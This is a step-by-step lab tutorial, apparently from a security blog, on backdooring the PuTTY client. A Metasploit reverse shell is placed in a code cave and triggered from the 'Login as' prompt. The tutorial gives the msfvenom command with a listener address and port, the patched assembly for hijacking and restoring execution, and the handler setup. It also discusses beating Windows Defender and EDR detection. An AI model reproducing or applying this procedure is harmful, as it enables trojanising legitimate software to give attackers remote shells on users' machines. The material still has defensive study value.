Backdoor development with Code Caves
In this lab, we will inject a Metasploit shellcode into the Putty program, which will be executed at a specific point. To achieve this, we will use memory within putty.exe
that is unused in the resources (so-called code caves).
1.0 Introduction
The following steps will be executed:
- Identify the code cave
- Change the access rights of the resources
- Develop a custom payload
- Generate the payload
- Identify and hijack the function
- Redirect the code flow
- Test the backdoor
2.0 Code Caves
2.1 Finding code caves with Cminer
Now, let's search for free bytes in our putty.exe. For this, we use Cminer:
┌──(kali㉿hfc84)-[~/tools/develop/Cminer] └─$ ./Cminer ~/tmp/PUTTY.EXE [#] Cave 2 [*] Section: .rsrc [*] Cave Size: 4027 byte. [*] Start Address: 0x80005654 [*] End Address: 0x8000660f [*] File Ofset: 0xd4855
2.2 Prepare the cave
We have to modify the resource permissions of .rsrc
to execute our payload:
- Open CFF Explorer
Section Headers
.rsrc
- Set section flags to RWX and Code
- Save the file
3.0 Payload
3.1 Reverse shell analysis
Metasploit shells typically reference the Windows function WaitForSingleObject
with the argument 'INFINITE' or 0xFFFFFFFFFFFFFFFF
. This ensures that the shellcode runs to completion. However, in our specific use case, this is disadvantageous because Putty would become unresponsive.
To prevent this, we need to set the argument to 0x00
. We can achieve this easily by changing dec rdx
to nop
.
Additionally, we can change the last instruction call rbp
to nop
or, alternatively, overwrite the instruction later in the debugger.
pop rcx mov r10d,ebx call rbp -> pop rcx mov r10d,ebx nop nop
3.2 Custom payload
Since Metasploit shellcodes are encoded and I don't want to manually apply the change every time, I debug the raw shellcode from the file modules/payloads/singles/windows/x64/shell_reverse_tcp
and modify the affected bytes. I then save the file as custom_shell_reverse_tcp
in the same directory.
3.3 Create payload
Now, let's generate our shellcode:
msfvenom -p windows/x64/custom_shell_reverse_tcp LHOST=172.18.75.2 LPORT=6699 -b x00 -f raw -o shell_reverse_tcp64.bin
4.0 Code Hijacking
Let's start the disassembler! We should initiate a Metasploit listener for testing purposes.
4.1 Information gathering
The following information is necessary for the next steps:
- Cave file offset
- Cave Address
- Address of function to hijack
- Address of the following instruction
Cminer has already provided us with the file offset: 0xd4855
We now go to the offset and note down the address: 0x7FF79ACBE655
In the next step, we need a function that we can hijack. Putty prompts for credentials after a successful connection. This is where we can intervene, as EDRs (Endpoint Detection and Response systems) are less likely to detect whether it’s a legitimate action or not. To do this, we search for the string reference for Login as
.
Ok, we have everything, we need. It is time to hijack!
4.2 Function Hijacking
We write down the instruction, for later use and change it to a jmp
instruction. The target is our Code Cave address.
0x7FF764C3393B | lea rcx,qword ptr ds:[7FF764CBC83F] ; change to -> jmp putty_a.7FF764CDE655 nop nop
After manipulating the function, we change to the Code Cave Address.
4.3 Register PUSHing
Since we need to restore the registers to their original values after executing the shellcode, we save it on the stack:
push rax push rbx push rcx push rdx push rbp push rsi push rdi push r8 push r9 push r10 push r11 push r12 push r13 push r14 push r15
4.4 Shellcode
Now, let's open the generated shellcode in a hex editor. Then, we copy the bytes and paste them right after the push
instructions.
4.5 Stack Frame clean up
We need to take a closer look at the stack pointer and set two breakpoints: one before the first instruction of the shellcode and one before the last instruction (if we still want to overwrite it).
push rcx ... push r15 cld ; Breakpoint - RSP -> 9E4D2FF9C8 ... call rbp ; Breakpoint - RSP -> 9E4D2FF8C8
This is important because the stack pointer was modified by the shellcode. So, we calculate the difference between the two rsp
values and clean up the stack pointer by adding this difference.
$9E4D2FF9C8 - 9E4D2FF8C8 = 100$
Replace call rbp
(EXITFUNC) with the calculated value.
add rsp, 0x100
4.6 Register POPing
To restore our registers, we use the pop
instruction in reverse order. Important: don't restore rsp
, because we've corrected it in the previous step.
pop r15 pop r14 pop r13 pop r12 pop r11 pop r10 pop r9 pop r8 pop rdi pop rsi nop ; don't overwrite your cleaned up stack :-) pop rbp pop rdx pop rcx pop rbx pop rax
4.7 Restore hijacked function
To redirect the code flow back in the correct direction, we replicate the overwritten function. Then, we jump behind our hijacked function. As long as all registers have been correctly restored, this will succeed without generating an error.
lea rcx,qword ptr ds:[7FF764CBC83F] ; rebuild hijacked function jmp putty_a.7FF764C33942 ; jump back
4.8 Save the binary
If everything works, we can save the patched putty.exe
5.0 Run the backdoor
5.1 Metasploit listener
We run a Metasploit listener, to catch the connection:
use exploit/multi/handler set lhost 0.0.0.0 set lport 6699 run [*] Started reverse TCP handler on 0.0.0.0:6699
5.2 Start the backdoor
5.3 Windows Defender reaction
Windows Defender takes about 30 seconds to detect that something is wrong with this process. During this time, the shell is already connected. Although Putty is terminated, the shell is not. Thus, despite having Windows Defender enabled, we were able to establish a reverse shell, which can be used for further actions.
To prevent detection, we could use a custom encoder.
Diskussion